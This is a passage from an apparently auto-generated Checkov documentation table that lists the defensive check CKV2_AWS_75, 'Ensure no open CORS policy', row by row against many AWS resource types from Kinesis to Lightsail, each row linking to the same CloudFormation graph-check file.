[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  952 | CKV2_AWS_75 | resource | aws_kinesis_analytics_application                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  953 | CKV2_AWS_75 | resource | aws_kinesis_firehose_delivery_stream                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  954 | CKV2_AWS_75 | resource | aws_kinesis_resource_policy                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  955 | CKV2_AWS_75 | resource | aws_kinesis_stream                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  956 | CKV2_AWS_75 | resource | aws_kinesis_stream_consumer                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  957 | CKV2_AWS_75 | resource | aws_kinesis_video_stream                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  958 | CKV2_AWS_75 | resource | aws_kinesisanalyticsv2_application                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  959 | CKV2_AWS_75 | resource | aws_kinesisanalyticsv2_application_snapshot                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  960 | CKV2_AWS_75 | resource | aws_kms_alias                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  961 | CKV2_AWS_75 | resource | aws_kms_ciphertext                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  962 | CKV2_AWS_75 | resource | aws_kms_custom_key_store                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  963 | CKV2_AWS_75 | resource | aws_kms_external_key                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  964 | CKV2_AWS_75 | resource | aws_kms_grant                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  965 | CKV2_AWS_75 | resource | aws_kms_key                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  966 | CKV2_AWS_75 | resource | aws_kms_key_policy                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  967 | CKV2_AWS_75 | resource | aws_kms_replica_external_key                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  968 | CKV2_AWS_75 | resource | aws_kms_replica_key                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  969 | CKV2_AWS_75 | resource | aws_lakeformation_data_cells_filter                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  970 | CKV2_AWS_75 | resource | aws_lakeformation_data_lake_settings                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  971 | CKV2_AWS_75 | resource | aws_lakeformation_lf_tag                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  972 | CKV2_AWS_75 | resource | aws_lakeformation_permissions                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  973 | CKV2_AWS_75 | resource | aws_lakeformation_resource                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  974 | CKV2_AWS_75 | resource | aws_lakeformation_resource_lf_tag                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  975 | CKV2_AWS_75 | resource | aws_lakeformation_resource_lf_tags                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  976 | CKV2_AWS_75 | resource | aws_lambda_alias                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  977 | CKV2_AWS_75 | resource | aws_lambda_code_signing_config                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  978 | CKV2_AWS_75 | resource | aws_lambda_event_source_mapping                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  979 | CKV2_AWS_75 | resource | aws_lambda_function                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  980 | CKV2_AWS_75 | resource | aws_lambda_function_event_invoke_config                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  981 | CKV2_AWS_75 | resource | aws_lambda_function_recursion_config                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  982 | CKV2_AWS_75 | resource | aws_lambda_function_url                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  983 | CKV2_AWS_75 | resource | aws_lambda_invocation                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  984 | CKV2_AWS_75 | resource | aws_lambda_layer_version                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  985 | CKV2_AWS_75 | resource | aws_lambda_layer_version_permission                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  986 | CKV2_AWS_75 | resource | aws_lambda_permission                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  987 | CKV2_AWS_75 | resource | aws_lambda_provisioned_concurrency_config                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  988 | CKV2_AWS_75 | resource | aws_lambda_runtime_management_config                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  989 | CKV2_AWS_75 | resource | aws_launch_configuration                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  990 | CKV2_AWS_75 | resource | aws_launch_template                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  991 | CKV2_AWS_75 | resource | aws_lb                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  992 | CKV2_AWS_75 | resource | aws_lb_cookie_stickiness_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  993 | CKV2_AWS_75 | resource | aws_lb_listener                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  994 | CKV2_AWS_75 | resource | aws_lb_listener_certificate                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  995 | CKV2_AWS_75 | resource | aws_lb_listener_rule                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  996 | CKV2_AWS_75 | resource | aws_lb_ssl_negotiation_policy                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  997 | CKV2_AWS_75 | resource | aws_lb_target_group                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  998 | CKV2_AWS_75 | resource | aws_lb_target_group_attachment                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  999 | CKV2_AWS_75 | resource | aws_lb_trust_store                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1000 | CKV2_AWS_75 | resource | aws_lb_trust_store_revocation                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1001 | CKV2_AWS_75 | resource | aws_lex_bot                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1002 | CKV2_AWS_75 | resource | aws_lex_bot_alias                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1003 | CKV2_AWS_75 | resource | aws_lex_intent                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1004 | CKV2_AWS_75 | resource | aws_lex_slot_type                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1005 | CKV2_AWS_75 | resource | aws_lexv2models_bot                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1006 | CKV2_AWS_75 | resource | aws_lexv2models_bot_locale                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1007 | CKV2_AWS_75 | resource | aws_lexv2models_bot_version                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1008 | CKV2_AWS_75 | resource | aws_lexv2models_intent                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1009 | CKV2_AWS_75 | resource | aws_lexv2models_slot                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1010 | CKV2_AWS_75 | resource | aws_lexv2models_slot_type                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1011 | CKV2_AWS_75 | resource | aws_licensemanager_association                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1012 | CKV2_AWS_75 | resource | aws_licensemanager_grant                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1013 | CKV2_AWS_75 | resource | aws_licensemanager_grant_accepter                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1014 | CKV2_AWS_75 | resource | aws_licensemanager_license_configuration                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1015 | CKV2_AWS_75 | resource | aws_lightsail_bucket                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1016 | CKV2_AWS_75 | resource | aws_lightsail_bucket_access_key                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1017 | CKV2_AWS_75 | resource | aws_lightsail_bucket_resource_access                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1018 | CKV2_AWS_75 | resource | aws_lightsail_certificate                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1019 | CKV2_AWS_75 | resource | aws_lightsail_container_service                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1020 | CKV2_AWS_75 | resource | aws_lightsail_container_service_deployment_version               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1021 | CKV2_AWS_75 | resource | aws_lightsail_database                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1022 | CKV2_AWS_75 | resource | aws_lightsail_disk                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1023 | CKV2_AWS_75 | resource | aws_lightsail_disk_attachment                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1024 | CKV2_AWS_75 | resource | aws_lightsail_distribution                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1025 | CKV2_AWS_75 | resource | aws_lightsail_domain                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1026 | CKV2_AWS_75 | resource | aws_lightsail_domain_entry                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1027 | CKV2_AWS_75 | resource | aws_lightsail_instance                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1028 | CKV2_AWS_75 | resource | aws_lightsail_instance_public_ports                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1029 | CKV2_AWS_75 | resource | aws_lightsail_key_pair                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1030 | CKV2_AWS_75 | resource | aws_lightsail_lb                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1031 | CKV2_AWS_75 | resource | aws_lightsail_lb_attachment                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1032 | CKV2_AWS_75 | resource | aws_lightsail_lb_certificate                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1033 | CKV2_AWS_75 | resource | aws_lightsail_lb_certificate_attachment                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1034 | CKV2_AWS_75 | resource | aws_lightsail_lb_https_redirection_policy                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1035 | CKV2_AWS_75 | resource | aws_lightsail_lb_stickiness_policy                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1036 | CKV2_AWS_75 | resource | aws_lightsail_static_ip                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1037 | CKV2_AWS_75 | resource | aws_lightsail_static_ip_attachment                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1038 | CKV2_AWS_75 | resource | aws_load_balancer_backend_server_policy                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1039 | CKV2_AWS_75 | resource | aws_load_balancer_listener_policy                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1040 | CKV2_AWS_75 | resource | aws_load_balancer_policy                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1041 | CKV2_AWS_75 | resource | aws_location_geofence_collection                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1042 | CKV2_AWS_75 | resource | aws_location_map                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1043 | CKV2_AWS_75 | resource | aws_location_place_index                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1044 | CKV2_AWS_75 | resource | aws_location_route_calculator                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1045 | CKV2_AWS_75 | resource | aws_location_tracker                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1046 | CKV2_AWS_75 | resource | aws_location_tracker_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1047 | CKV2_AWS_75 | resource | aws_m2_application                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | 